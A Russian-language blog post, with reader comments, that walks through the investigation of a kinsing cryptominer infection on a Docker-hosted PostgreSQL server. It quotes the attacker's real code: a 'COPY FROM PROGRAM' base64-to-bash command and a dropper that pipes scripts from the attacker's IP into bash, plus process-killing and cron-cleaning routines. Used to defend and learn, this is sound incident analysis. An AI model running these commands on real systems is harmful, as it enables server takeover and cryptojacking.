Эта статья — зарисовка нашего постепенного раскрытия киберпреступления. От первых незначительных инцидентов до открытия взлома сервера, мы покажем, как расследовали взлом, копаясь в тысячах строк логов.

Если вам не интересна предыстория, можете сразу переходить к разгадке.

Падение базы данных

У нас развернут сервер для проекта интерактивных квестов-догонялок по городу. Стек: Nginx, PostgreSQL, Django. Поднято все с помощью Docker.

В один момент база данных перестала давать доступ Django и админке. Эту проблему пришлось срочно решать.

FATAL: pg_hba.conf rejects connection for host "127.0.0.1", user "postgres", database "database", no encryption 

Перезапуск базы не помог, но спустя пару часов мы обнаружили, что IP-адреса наших сервисов заблокированы в конфигурационном файле PostgreSQL (/var/lib/postgres/data/pg_hba.conf).

/var/lib/postgresql/data/pg_hba.conf
/var/lib/postgresql/data/pg_hba.conf

Кроме наших адресов, заблокированы были еще с десяток неизвестных.
Файл мы почистили и на проблему благополучно забили. Однако, спустя пару недель, она снова всплыла.

Еще пару раз мы чистили этот файл, пока нам это не надоело. Было выдвинуто несмелое предположение, что виноваты хакеры. В итоге было принято решение поймать того, кто изменяет файл на месте преступления.

Первые следы

Мы запустили наблюдателя с помощью auditctl. Осталось только подождать недельку и понять, кто подпортил конфигурацию.

Спустя неделю наблюдатель дал результат (логи здесь и далее сокращены в сотни раз).

time->Tue Mar 19 14:56:55 2024
type=CWD msg=audit(1710860215.428:65508): cwd="/var/lib/postgresql/data"
type=SYSCALL syscall=264 success=yes exit=0 comm="mv" exe="/usr/bin/mv" subj=docker-default key="pg_hba"Выв

Кто-то взял и нагло переместил файл. Кто? До сих пор было неизвестно, но отправной точкой расследования стало время перемещения.

Для начала мы изучили заблокированные адреса, но это нас только запутало. Совершенно не связанные адреса: русские, украинские, корейские, малазийские, индонезийские (??).

Загадочные корейские ip
Загадочные корейские ip

Мы отсмотрели syslog и еще парочку логеров. Самыми интересными оказались логи docker compose. Именно они и помогли полностью отследить процесс атаки.

Распутываем клубок

FATAL:  password authentication failed for user "postgres"

Злоумышленник попытался подобрать пароль к базе данных. Далеко не с первого раза, но у него это получилось, так как пароль у нас был несложный.

STATEMENT:  COPY xeQmgbHw FROM PROGRAM 'echo <огромная закодированная строка> |base64 -d|bash';

С помощью PROGRAM хакер запустил скрипт. Вот что получилось при декодировании (можно не читать):

#!/bin/bash
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

if [ -x "$(command -v curl)" ]; then
  curl 95.142.47.27/pg.sh|bash
elif [ -x "$(command -v wget)" ]; then
  wget -q -O- 95.142.47.27/pg.sh|bash
else
  __curl http://95.142.47.27/pg2.sh|bash
fi

Все очень просто: этот скрипт просто скачал другой скрипт с сервера хакера и запустил его.
Произошло очень много интересного:

for filename in /proc/*; do
    ex=$(ls -latrh $filename 2> /dev/null|grep exe)
    if echo $ex |grep -q "/var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
        result=$(echo "$filename" | sed "s/\/proc\///")
        kill -9 $result
        echo found $filename $result
    fi
done

Попытка убить все конкурирующие процессы.

cleanCron() {
  crontab -l | sed '/base64/d' | crontab -
  crontab -l | sed '/_cron/d' | crontab -
  crontab -l | sed '/31.210.20.181/d' | crontab -
  crontab -l | sed '/update.sh/d' | crontab -
  # еще ~50 строк
}

Очистка cron. Чтобы убитые процессы не в коем случае не ожили.

BIN_MD5="b3039abf2ad5202f4a9363b418002351"
BIN_DOWNLOAD_URL="http://95.142.47.27/kinsing"
BIN_DOWNLOAD_URL2="http://95.142.47.27/kinsing"
CURL_DOWNLOAD_URL="http://95.142.47.27/curl-amd64"
...

download() {
  DOWNLOAD_PATH=$1
  DOWNLOAD_URL=$2
  if [ -L $DOWNLOAD_PATH ]
  then
    rm -rf $DOWNLOAD_PATH
  fi
  if [[ -d $DOWNLOAD_PATH ]]
  then
    rm -rf $DOWNLOAD_PATH
  fi
  chmod 777 $DOWNLOAD_PATH
  $WGET $DOWNLOAD_PATH $DOWNLOAD_URL
  chmod +x $DOWNLOAD_PATH
}

Загрузка майнера kinsing. Хорошая статья про него.

Схема атаки
Схема атаки

К большому счастью база данных была запущена не в системе а в docker контейнере и большинство команд просто не смогли выполниться!

main: line 378: crontab: command not found
main: line 246: ps: command not found
main: line 237: pkill: command not found

Но kinsing успешно загрузился, запустился и уверенно занял 98% CPU.

Замаскировался под системный процесс kdevtmpfsi
Замаскировался под системный процесс kdevtmpfsi

Про kinsing мы смогли выяснить, что он регулярно отправляет пакеты на какой то ip.

connect(54, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("176.113.81.186")}, 16) = -1 EINPROGRESS (Operation now in progress)

Выводы

Причиной взлома стал ненадежный пароль от базы данных, и открытый внешний порт.

Данный хак вообще не скрывает своих действий и берет количеством. Нагло убивает системные процессы, и даже (!) устраняет хакеров конкурентов (заблокированные ip адреса). Страшно представить что было бы, если бы хакер проник не в докер контейнер, а в саму систему.

Опасность взлома не шутка. Даже взлом безобидного докер контейнера, дает хакеру большие возможности. Следите за безопасностью и здоровьем своего сервера (майнер проработал пару недель).

Комментарии (16)


  1. diakin
    26.04.2024 05:52

    FATAL: password authentication failed for user "postgres"

    Вообще на такое должен быть настроен ревун и красная лампа моргать.


    1. goth
      26.04.2024 05:52
      +4

      с открытым портом и ненадёжными паролями красная лампа перегорать будет часто...


      1. x89377
        26.04.2024 05:52

        "с открытым портом и ненадёжными паролями " это дорога на улицу красных фонарей


    1. Vaniog Автор
      26.04.2024 05:52

      Ну в каком то смысле в логах оно и заморгало этой самой записью)

      А так, если пароль хороший, то это и не страшно. А если плохой, то, как уже ответили, ничего не спасёт.


      1. diakin
        26.04.2024 05:52

        Если идет подбор пароля, то узнавать об этом и принимать меры надо сразу, а не через неделю.


        1. goth
          26.04.2024 05:52

          Если идёт подбор пароля единственной не фатальной мерой для сервера, который вынужден быть опубликован,лично я знаю только f2ban, и при этом его достаточно держать без уведомлений о подборе.


    1. Vugluskr1
      26.04.2024 05:52
      +2

      Да зачем? И так сойдёт. Не убивают же никого.


  1. v1000
    26.04.2024 05:52
    +1

    Причиной взлома стал ненадежный пароль от базы данных, и открытый внешний порт.

    Так это был ПРОД или Медовая ловушка? (сарказм)


    1. Vaniog Автор
      26.04.2024 05:52

      Шутки шутками, а мы и правда не сразу поменяли пароль после того, как разоблачили хакера, чтобы изучить атаку ещё раз)


  1. goldenhaw
    26.04.2024 05:52
    +1

    Спасибо, увлекательно и довольно интересно было читать! Желаю вам поменьше атак, особенно успешных)


  1. Wuzzy
    26.04.2024 05:52
    +1

    Шампиньонам привет!